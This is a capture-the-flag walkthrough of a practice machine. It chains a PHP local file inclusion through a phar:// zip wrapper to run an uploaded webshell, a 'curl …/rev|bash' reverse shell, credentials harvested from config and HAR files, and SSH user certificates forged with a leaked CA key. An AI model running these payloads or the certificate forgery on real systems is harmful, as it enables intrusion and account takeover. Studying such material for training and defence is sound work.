Resource
Recon
└─$ grep ssg /etc/hosts
10.10.11.27 ssg.htb itrc.ssg.htb signserv.ssg.htb
HTTP (80)

Enumerate meanwhile:
└─$ feroxbuster -u http://itrc.ssg.htb -w /usr/share/seclists/Discovery/Web-Content/common.txt -x bak,php,txt
by Ben "epi" Risher 🤓 ver: 2.10.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://itrc.ssg.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/common.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.10.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
💲 Extensions │ [bak, php, txt]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 GET 13l 25w 367c http://itrc.ssg.htb/assets/js/flash.js
200 GET 155l 300w 2453c http://itrc.ssg.htb/assets/css/main.css
200 GET 0l 0w 1074912c http://itrc.ssg.htb/assets/img/helpdesk.png
200 GET 39l 207w 3120c http://itrc.ssg.htb/
200 GET 3l 5w 46c http://itrc.ssg.htb/admin.php
301 GET 9l 28w 310c http://itrc.ssg.htb/api => http://itrc.ssg.htb/api/
301 GET 9l 28w 313c http://itrc.ssg.htb/assets => http://itrc.ssg.htb/assets/
500 GET 0l 0w 0c http://itrc.ssg.htb/api/admin.php
200 GET 3l 5w 46c http://itrc.ssg.htb/dashboard.php
200 GET 0l 0w 0c http://itrc.ssg.htb/db.php
200 GET 0l 0w 0c http://itrc.ssg.htb/hello.php
301 GET 9l 28w 317c http://itrc.ssg.htb/assets/css => http://itrc.ssg.htb/assets/css/
200 GET 5l 110w 844c http://itrc.ssg.htb/home.php
200 GET 39l 207w 3120c http://itrc.ssg.htb/index.php
302 GET 0l 0w 0c http://itrc.ssg.htb/logout.php => index.php
302 GET 0l 0w 0c http://itrc.ssg.htb/api/login.php => http://itrc.ssg.htb/
200 GET 10l 31w 433c http://itrc.ssg.htb/login.php
200 GET 0l 0w 0c http://itrc.ssg.htb/o.php
301 GET 9l 28w 317c http://itrc.ssg.htb/assets/img => http://itrc.ssg.htb/assets/img/
301 GET 9l 28w 316c http://itrc.ssg.htb/assets/js => http://itrc.ssg.htb/assets/js/
302 GET 0l 0w 0c http://itrc.ssg.htb/api/register.php => http://itrc.ssg.htb/
200 GET 11l 40w 566c http://itrc.ssg.htb/register.php
200 GET 3l 5w 46c http://itrc.ssg.htb/ticket.php
301 GET 9l 28w 314c http://itrc.ssg.htb/uploads => http://itrc.ssg.htb/uploads/
200 GET 155l 300w 2453c http://itrc.ssg.htb/assets/css/main
200 GET 72l 231w 2380c http://itrc.ssg.htb/assets/js/filter
200 GET 13l 25w 367c http://itrc.ssg.htb/assets/js/flash
200 GET 0l 0w 1074912c http://itrc.ssg.htb/assets/img/helpdesk
200 GET 0l 0w 1378004c http://itrc.ssg.htb/assets/img/office
200 GET 0l 0w 0c http://itrc.ssg.htb/uploads/shell.php
200 GET 0l 0w 0c http://itrc.ssg.htb/uploads/test.php
[####################] - 6m 132520/132520 0s found:31 errors:916
[####################] - 3m 18912/18912 97/s http://itrc.ssg.htb/
[####################] - 4m 18912/18912 82/s http://itrc.ssg.htb/api/
[####################] - 4m 18912/18912 80/s http://itrc.ssg.htb/assets/
[####################] - 4m 18912/18912 73/s http://itrc.ssg.htb/assets/js/
[####################] - 3m 18912/18912 97/s http://itrc.ssg.htb/uploads/
Dashboard
Register, Creds: test02:test02

Ticket creation doesn't have any description, we can create Ticket with title, description and upload zip file.
We can try accessing admin.php
:

Remote admin username:
zzinter
Admin Panel
Ping tool works:

Command injection unsuccessful.

Everything seemed sanitized and nothing was going well 🤔
The navigation of PHP via page
value is always suspicious (http://itrc.ssg.htb/?page=<PAGE>
). This means the pages are included, not loaded separately. Meaning we can achieve LFI, php
files are loaded without any hassle, but if we try to include files with file://
protocol it fails right away most probably due to filters.
PHP has many wrappers and one of them is ZIP, I tried uploading ZOD or empty zip, but they returned 404 when going to uploaded file. If uploaded normally then then file is accessible normally.
PayloadsAllTheThings/File Inclusion> wrapper-zip
LFI
echo '<?PHP echo system($_REQUEST[0]); ?>' > t.php
zip t.zip t.php
Trying zip payloads yielded no success:
http://itrc.ssg.htb/?page=zip://uploads/bae695c7ab29a322690d126023ce2069fd05909d.zip%23t.php&0=id&x=
http://itrc.ssg.htb/?page=zip:///var/www/html/uploads/bae695c7ab29a322690d126023ce2069fd05909d.zip%23t.php&0=id&x=
http://itrc.ssg.htb/?page=zip:///var/www/itrc/uploads/bae695c7ab29a322690d126023ce2069fd05909d.zip%23t.php&0=id&x=
Trying the phar
payload worked!
http://itrc.ssg.htb/?page=phar://uploads/bae695c7ab29a322690d126023ce2069fd05909d.zip/t&0=id&x=

Reverse Shell
Get the reverse shell:
http://itrc.ssg.htb/?page=phar://uploads/bae695c7ab29a322690d126023ce2069fd05909d.zip/t&0=curl%2010.10.14.54/rev|bash&x=

└─$ listen
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.27:43394.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@itrc:/var/www/itrc$ ls -alh
ls -alh
total 108K
drwxr-xr-x 1 www-data www-data 4.0K Feb 19 18:13 .
drwxr-xr-x 1 www-data www-data 4.0K Jul 25 11:28 ..
-rw-rw-r-- 1 www-data www-data 4.3K Jan 24 2024 admin.php
drwxrwxr-x 1 www-data www-data 4.0K Feb 26 23:18 api
drwxrwxr-x 1 www-data www-data 4.0K Jan 22 2024 assets
-rw-rw-r-- 1 www-data www-data 979 Jan 23 2024 create_ticket.php
-rw-rw-r-- 1 www-data www-data 344 Jan 24 2024 dashboard.php
-rw-rw-r-- 1 www-data www-data 308 Jan 22 2024 db.php
-rw-rw-r-- 1 www-data www-data 746 Jan 24 2024 filter.inc.php
-rw-rw-r-- 1 www-data www-data 982 Jan 24 2024 footer.inc.php
-rw-rw-r-- 1 www-data www-data 1.9K Jan 24 2024 header.inc.php
-rw-rw-r-- 1 www-data www-data 844 Jan 22 2024 home.php
-rw-rw-r-- 1 www-data www-data 368 Feb 19 18:14 index.php
-rw-rw-r-- 1 www-data www-data 105 Feb 19 18:14 loggedin.php
-rw-rw-r-- 1 www-data www-data 433 Jan 23 2024 login.php
-rw-rw-r-- 1 www-data www-data 73 Jan 22 2024 logout.php
-rw-rw-r-- 1 www-data www-data 566 Jan 23 2024 register.php
-rw-rw-r-- 1 www-data www-data 2.2K Feb 6 16:54 savefile.inc.php
-rw-rw-r-- 1 www-data www-data 4.9K Feb 6 17:09 ticket.php
-rw-rw-r-- 1 www-data www-data 1.4K Jan 24 2024 ticket_section.inc.php
drwxrwxr-x 1 www-data www-data 4.0K Aug 5 13:02 uploads
www-data@itrc:/var/www/itrc$ cat db.php
cat db.php
<?php
$dsn = "mysql:host=db;dbname=resourcecenter;";
$dbusername = "jj";
$dbpassword = "ugEG5rR5SG8uPd";
$pdo = new PDO($dsn, $dbusername, $dbpassword);
try {
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
die("Connection failed: " . $e->getMessage());
}
...
╔════════════════════════════════════════════════╗
════════════════╣ Processes, Crons, Timers, Services and Sockets ╠════════════════
╚════════════════════════════════════════════════╝
╔══════════╣ Cleaned processes
╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes
root 1 0.0 0.0 3924 2800 ? Ss 12:48 0:00 /bin/bash /opt/startup.sh
msainri+ 38 0.0 0.1 16824 7136 ? S 12:48 0:00 | _ sshd: msainristil@pts/0
msainri+ 39 0.0 0.0 4720 3628 pts/0 Ss+ 12:48 0:00 | _ -bash
msainri+ 99 1.6 0.3 1234244 14036 pts/0 Sl 12:52 0:43 | _ ./chisel client 10.10.14.66:8001 R:1080:socks
msainri+ 59 0.0 0.1 16136 6380 ? S 12:50 0:00 | _ sshd: msainristil@pts/1
msainri+ 60 0.0 0.0 4188 3364 pts/1 Ss 12:50 0:00 | _ -bash
msainri+ 69 0.0 0.1 11324 7848 pts/1 S+ 12:51 0:00 | _ ssh -o CertificateFile=rootkey-cert.pub -i rootkey root@localhost
root 70 0.0 0.2 16240 10400 ? Ss 12:51 0:00 _ sshd: root@pts/2
root 76 0.0 0.0 4188 3488 pts/2 Ss 12:51 0:00 | _ -bash
root 149 0.0 0.2 11192 8108 pts/2 S+ 12:55 0:00 | _ ssh -o CertificateFile=key-cert.pub -i key support@10.10.11.27 -p 2222
msainri+ 172 0.0 0.1 16136 6468 ? S 12:58 0:00 | _ sshd: msainristil@pts/3
msainri+ 173 0.0 0.0 4188 3484 pts/3 Ss+ 12:58 0:00 | _ -bash
msainri+ 407 0.0 0.1 16136 6512 ? S 13:28 0:00 | _ sshd: msainristil@pts/6
msainri+ 408 0.0 0.0 4608 3612 pts/6 Ss+ 13:28 0:00 | _ -bash
root 451 0.0 0.2 16240 10032 ? Ss 13:31 0:00 _ sshd: root@pts/7
root 457 0.0 0.0 4188 3436 pts/7 Ss+ 13:31 0:00 | _ -bash
zzinter 508 0.0 0.1 16240 6300 ? S 13:35 0:00 | _ sshd: zzinter@pts/8
zzinter 509 0.0 0.0 4564 3576 pts/8 Ss+ 13:35 0:00 | _ -bash
msainri+ 533 0.0 0.1 16136 6556 ? S 13:36 0:00 _ sshd: msainristil@pts/4
msainri+ 534 0.0 0.0 4564 3732 pts/4 Ss+ 13:36 0:00 _ -bash
...
╔══════════╣ Analyzing PHP Sessions Files (limit 70)
/var/lib/php/sessions Not Found
-rw------- 1 www-data www-data 52 Aug 5 13:20 /tmp/sess_18a55c49a77b75310b5155cbab597ac3
username|s:8:"tititoto";role|s:4:"user";id|s:2:"17";
-rw------- 1 www-data www-data 48 Aug 5 13:33 /tmp/sess_18d2452cbee14dfc9258ac2b91cd55ac
username|s:4:"user";role|s:4:"user";id|s:2:"16";
-rw------- 1 www-data www-data 49 Aug 5 13:31 /tmp/sess_48183d74100da76fb14516e6d6848911
username|s:5:"admin";role|s:4:"user";id|s:2:"14";
...
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp 0 0 127.0.0.11:46497 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
www-data@itrc:/var/www/itrc$ netstat
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 itrc:54372 resource-db.docker:3306 TIME_WAIT
tcp 1 0 itrc:80 signserv.ssg.htb:52132 CLOSE_WAIT
tcp 0 0 itrc:80 signserv.ssg.htb:55522 TIME_WAIT
tcp 0 0 itrc:80 signserv.ssg.htb:55368 TIME_WAIT
tcp 0 0 itrc:22 10.10.14.66:49102 ESTABLISHED
tcp 1 0 itrc:80 signserv.ssg.htb:56894 CLOSE_WAIT
tcp 0 84 itrc:50472 10.10.14.66:8001 ESTABLISHED
tcp 0 0 localhost:22 localhost:44908 ESTABLISHED
tcp 0 0 itrc:22 10.10.14.132:51528 ESTABLISHED
tcp 0 36 itrc:22 10.10.14.36:58378 ESTABLISHED
tcp 0 0 itrc:80 signserv.ssg.htb:55512 TIME_WAIT
tcp 0 0 itrc:22 10.10.14.77:41410 ESTABLISHED
tcp 0 126 itrc:39052 10.10.14.54:4444 ESTABLISHED
tcp 0 0 itrc:22 10.10.14.40:47890 ESTABLISHED
tcp 0 0 itrc:34972 10.10.14.36:1337 ESTABLISHED
tcp 1 0 itrc:80 signserv.ssg.htb:56640 CLOSE_WAIT
tcp 0 0 itrc:42958 10.10.11.27:2222 ESTABLISHED
tcp 1 0 itrc:80 signserv.ssg.htb:52128 CLOSE_WAIT
tcp 0 1 itrc:45020 34.160.90.233:443 SYN_SENT
tcp 0 0 localhost:44908 localhost:22 ESTABLISHED
tcp 0 1 itrc:52162 34.160.90.233:443 SYN_SENT
tcp 0 1 itrc:41222 99.81.43.101:443 SYN_SENT
Linpeas didn't show full network, running netstat
shows different results
I still wasn't able to connect to the database...
www-data@itrc:/var/www/itrc/uploads$ cat /etc/hosts
127.0.0.1 localhost
...
172.223.0.3 itrc
www-data@itrc:/var/www/itrc/uploads$ mysql -u jj -p'ugEG5rR5SG8uPd' -e 'SHOW DATABASES;'
ERROR 2002 (HY000): Can't connect to local server through socket '/run/mysqld/mysqld.sock' (2)'
www-data@itrc:/var/www/itrc/uploads$ mysql -u jj -p'ugEG5rR5SG8uPd' -h 127.0.0.1 -P 54372 -e 'SHOW DATABASES;'
ERROR 2002 (HY000): Can't connect to server on '127.0.0.1' (115)'
www-data@itrc:/var/www/itrc/uploads$ mysql -u jj -p'ugEG5rR5SG8uPd' -h 172.223.0.3 -P 54372 -e 'SHOW DATABASES;'
ERROR 2002 (HY000): Can't connect to server on '172.223.0.3' (115)
/uploads
directory had other zip files, worth checking out:
www-data@itrc:/var/www/itrc/uploads$ for z in $(ls *.zip); do echo $z; zip -sf ./$z; done;
...
c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
Archive contains:
itrc.ssg.htb.har
Total 1 entries (1903087 bytes)
...
e8c6575573384aeeab4d093cc99c7e5927614185.zip
Archive contains:
id_rsa.pub
Total 1 entries (569 bytes)
eb65074fe37671509f24d1652a44944be61e4360.zip
Archive contains:
id_ed25519.pub
Total 1 entries (99 bytes)
...
www-data@itrc:/var/www/itrc/uploads$ unzip e8c6575573384aeeab4d093cc99c7e5927614185.zip
www-data@itrc:/var/www/itrc/uploads$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDa1RS3oCZOLoHXlCKYKOBCiaQzNA9weEgvkEyVCr6Wrtlli8clZi5tJkZiRUyRkqrvR6lX3uzEY/OePxDq0/i73bYN2wc60AXn0UFm8WEqfu5fYSao8vZK/Yop80NAXA/x2JHeK74nC8feM9+u004NSjmj5tC8I8C6ywF0ZPu9Bym0RC/Nm8kOGDmrNWqV03owO5XzHBu5u4P1WdL7ge4JAmB0lE7eNv0FJATxQ4hHZghtQvOu3qWUqEbyjzkKrMbKuF2KPIiH3Ep6dWrbKjJ9MIUATJDwNwK6h5x10s/G6aQ8jkPKe0s1SucovFb9b3C/PiYmjlMoAVqoMF8mrQ3NFIsgFFGsJ+pUSMUIkZ/2/EfsPEmA1jfkzEAD18UH1PtXo4GehRAbKw9lcbu1MbQHMGJg+0W/95RxK+wy0NSLuwmycKvpY8MKO9MWP6UMoQmAhYEToulcfwrDGD9ncbzzTd1A951JWkpynGqVKazDIvvrb+MF1XXib2HYZ/7XGQs= mgraham@ssg.htb
www-data@itrc:/var/www/itrc/uploads$ unzip eb65074fe37671509f24d1652a44944be61e4360.zip
Archive: eb65074fe37671509f24d1652a44944be61e4360.zip
inflating: id_ed25519.pub
www-data@itrc:/var/www/itrc/uploads$ cat id_ed25519.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMI916//9yp/9z9HQn1OCxitlWqEYWkLoST6Z+5dNSBs bmcgregor@ssg.htb
www-data@itrc:/var/www/itrc/uploads$ unzip c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
www-data@itrc:/var/www/itrc/uploads$ file itrc.ssg.htb.har
itrc.ssg.htb.har: JSON text data
www-data@itrc:/var/www/itrc/uploads$ head itrc.ssg.htb.har
{
"log": {
"version": "1.2",
"creator": {
"name": "WebInspector",
"version": "537.36"
},
"pages": [
{
"startedDateTime": "2024-02-06T21:34:02.483Z",
www-data@itrc:/var/www/itrc/uploads$ grep pass itrc.ssg.htb.har -in | grep -v bootstrap
2091: "text": "user=msainristil&pass=82yards2closeit",
2098: "name": "pass",
The file was some kind of automated actions log, PHPSESSID was also used meaning there was an account, grep for pass
and we pwned msainristil
user.
SSH (22)
We are able to SSH into port 22.
Creds:
msainristil:82yards2closeit
└─$ ssh msainristil@10.10.11.27
msainristil@10.10.11.27s password: 82yards2closeit
msainristil@itrc:~$ ls -alh
total 36K
drwx------ 1 msainristil msainristil 4.0K Aug 5 12:51 .
drwxr-xr-x 1 root root 4.0K Jul 23 14:22 ..
lrwxrwxrwx 1 root root 9 Jul 23 14:22 .bash_history -> /dev/null
-rw-r--r-- 1 msainristil msainristil 220 Mar 29 19:40 .bash_logout
-rw-r--r-- 1 msainristil msainristil 3.5K Mar 29 19:40 .bashrc
-rw-r--r-- 1 msainristil msainristil 807 Mar 29 19:40 .profile
drwx------ 2 msainristil msainristil 4.0K Aug 5 12:51 .ssh
drwxr-xr-x 1 msainristil msainristil 4.0K Aug 5 13:34 decommission_old_ca
msainristil@itrc:~$ ls -alh decommission_old_ca/
total 12K
drwxr-xr-x 1 msainristil msainristil 4.0K Aug 5 13:34 .
drwx------ 1 msainristil msainristil 4.0K Aug 5 12:51 ..
msainristil@itrc:~$ ps aux | grep cert -in --color=auto
15:msainri+ 69 0.0 0.1 11324 7848 pts/1 S+ 12:51 0:00 ssh -o CertificateFile=rootkey-cert.pub -i rootkey root@localhost
19:root 149 0.0 0.2 11192 8108 pts/2 S+ 12:55 0:00 ssh -o CertificateFile=key-cert.pub -i key support@10.10.11.27 -p 2222
47:zzinter 10636 0.0 0.1 10932 7276 pts/4 S+ 13:40 0:00 ssh zzinter@172.223.0.1 CertificateFile=zzinter-cert.pub -i /home/zzinter/.ssh/id_rsa -p 2222
68:msainri+ 20528 0.0 0.0 3324 1568 pts/11 S+ 14:17 0:00 grep cert -in --color=auto
FastAPI
There's something going on with Certificate Authorities and in netstat
output we saw another host on system signserv.ssg.htb
└─$ feroxbuster -u http://signserv.ssg.htb/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x bak,php,txt
by Ben "epi" Risher 🤓 ver: 2.10.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://signserv.ssg.htb/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/common.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.10.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
💲 Extensions │ [bak, php, txt]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 1l 2w 22c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
307 GET 0l 0w 0c http://signserv.ssg.htb/docs/ => http://signserv.ssg.htb/docs
200 GET 81l 240w 3012c http://signserv.ssg.htb/docs/oauth2-redirect
200 GET 1l 5w 1449c http://signserv.ssg.htb/openapi.json
200 GET 31l 62w 939c http://signserv.ssg.htb/docs
[############>-------] - 36s 11692/18932 0s found:4 errors:0
[####################] - 62s 18932/18932 0s found:4 errors:0
[####################] - 61s 18912/18912 310/s http://signserv.ssg.htb/

I didn't know what to do with the service so I left it for now.
SSH CA Certificates
After few hours I returned to the box and found files in decommission_old_ca
that should have been there, but wasn't 💀 Probably some MF deleted them..
msainristil@itrc:~/decommission_old_ca$ ls -alh
total 32K
drwxr-xr-x 1 msainristil msainristil 4.0K Aug 5 19:10 .
drwx------ 1 msainristil msainristil 4.0K Aug 5 18:57 ..
-rw------- 1 msainristil msainristil 2.6K Jan 24 2024 ca-itrc
-rw-r--r-- 1 msainristil msainristil 572 Jan 24 2024 ca-itrc.pub
msainristil@itrc:~/decommission_old_ca$ cat ca-itrc
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
msainristil@itrc:~/decommission_old_ca$ cat ca-itrc.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDoBD1UoFfL41g/FVX373rdm5WPz+SZ0bWt5PYP+dhok4vb3UpJPIGOeAsXmAkzEVYBHIiE+aGbrcXvDaSbZc6cI2aZfFraEPt080KVKHALAPgaOn/zFdld8P9yaENKBKltWLZ9I6rwg98IGEToB7JNZF9hzasjjD0IDKv8JQ3NwimDcZTc6Le0hJw52ANcLszteliFSyoTty9N/oUgTUjkFsgsroEh+Onz4buVD2bxoZ+9mODcdYTQ4ChwanfzFSnTrTtAQrJtyH/bDRTa2BpmdmYdQu+4HcbDl5NbiEwu1FNskz/YNDPkq3bEYEOvgMiu/0ZMy0wercx6Tn0G2cppS70/rG5GMcJi0WTcUic3k+XJ191WEG1EtXJNbZdtJc7Ky0EKhat0dgck8zpq62kejtkBQd86p6FvR8+xH3/JMxHvMNVYVODJt/MIik99sWb5Q7NCVcIXQ0ejVTzTI9QT27km/FUgl3cs5CZ4GIN7polPenQXEmdmbBOWD2hrlLs= ITRC Certifcate CA
msainristil@itrc:~/decommission_old_ca$ ssh-keygen -lf ca-itrc
3072 SHA256:BFu3V/qG+Kyg33kg3b4R/hbArfZiJZRmddDeF2fUmgs ITRC Certifcate CA (RSA)
msainristil@itrc:~/decommission_old_ca$ ssh-keygen -lf ca-itrc.pub
3072 SHA256:BFu3V/qG+Kyg33kg3b4R/hbArfZiJZRmddDeF2fUmgs ITRC Certifcate CA (RSA)
14.3. Using OpenSSH Certificate Authentication14.3.3. Creating SSH CA Certificate Signing Keys
man
page also has solid explanations too!
└─$ man ssh-keygen
...
CERTIFICATES
ssh-keygen supports signing of keys to produce certificates that may be used for user or host authentication. Certificates consist of a public key, some identity information, zero or more princi‐
pal (user or host) names and a set of options that are signed by a Certification Authority (CA) key. Clients or servers may then trust only the CA key and verify its signature on a certificate
rather than trusting many user/host keys. Note that OpenSSH certificates are a different, and much simpler, format to the X.509 certificates used in ssl(8).
ssh-keygen supports two types of certificates: user and host. User certificates authenticate users to servers, whereas host certificates authenticate server hosts to users. To generate a user
certificate:
$ ssh-keygen -s /path/to/ca_key -I key_id /path/to/user_key.pub
The resultant certificate will be placed in /path/to/user_key-cert.pub.
...
Certificates may be limited to be valid for a set of principal (user/host) names. By default, generated certificates are valid for all users or hosts. To generate a certificate for a specified
set of principals:
$ ssh-keygen -s ca_key -I key_id -n user1,user2 user_key.pub
$ ssh-keygen -s ca_key -I key_id -h -n host.domain host_key.pub
...
Create certificate, sign the keys and authenticate.
msainristil@itrc:~/decommission_old_ca$ ssh-keygen -f letmein -P 'Password123$'
Generating public/private rsa key pair.
Your identification has been saved in letmein
Your public key has been saved in letmein.pub
The key fingerprint is:
SHA256:CRwIGa+KFnzqtlIIC1v2YWZXSSdlZuAe40kUtruZ0SE msainristil@itrc
msainristil@itrc:~/decommission_old_ca$ ssh-keygen -s ca-itrc -I ca-itrc.pub letmein.pub
Signed user key letmein-cert.pub: id "ca-itrc.pub" serial 0 valid forever
msainristil@itrc:~/decommission_old_ca$ ssh-keygen -lf letmein.pub
# Sign key with certificate
msainristil@itrc:~/decommission_old_ca$ ssh-keygen -s ca-itrc -I ca-itrc.pub letmein.pub
Signed user key letmein-cert.pub: id "ca-itrc.pub" serial 0 valid forever
msainristil@itrc:~/decommission_old_ca$ ls -Alh
total 32K
-rw------- 1 msainristil msainristil 2.6K Jan 24 2024 ca-itrc
-rw-r--r-- 1 msainristil msainristil 572 Jan 24 2024 ca-itrc.pub
-rw------- 1 msainristil msainristil 2.6K Aug 5 20:13 letmein
-rw------- 1 msainristil msainristil 2.0K Aug 5 20:19 letmein-cert.pub # <--
-rw-r--r-- 1 msainristil msainristil 570 Aug 5 20:13 letmein.pub
msainristil@itrc:~/decommission_old_ca$ chmod 600 letmein-cert.pub
msainristil@itrc:~/decommission_old_ca$ ssh -o CertificateFile=letmein-cert.pub -i letmein zzinter@localhost
zzinter@localhosts password: ????
The attempt was unsuccessful because SSH asks for a password and we don't have it. Looking into ssh-keygen
manual in Certificates section examples I saw that we can specify principles which are users or hosts with -n
, specify that user should by zzinter
:
msainristil@itrc:~/decommission_old_ca$ ssh-keygen -s ca-itrc -I ca-itrc.pub -n zzinter letmein.pub
Signed user key letmein-cert.pub: id "ca-itrc.pub" serial 0 for zzinter valid forever
msainristil@itrc:~/decommission_old_ca$ ssh -o CertificateFile=letmein-cert.pub -i letmein zzinter@localhost
Enter passphrase for key 'letmein':
Linux itrc 5.15.0-117-generic #127-Ubuntu SMP Fri Jul 5 20:13:28 UTC 2024 x86_64
...
zzinter@itrc:~$ id
uid=1001(zzinter) gid=1001(zzinter) groups=1001(zzinter)
And we are in.
Note: We are able to login as any user with forged keys from certificate, even root!
SSH (zzinter)
zzinter@itrc:~$ ls -alh
total 44K
drwx------ 1 zzinter zzinter 4.0K Aug 5 20:16 .
drwxr-xr-x 1 root root 4.0K Jul 23 14:22 ..
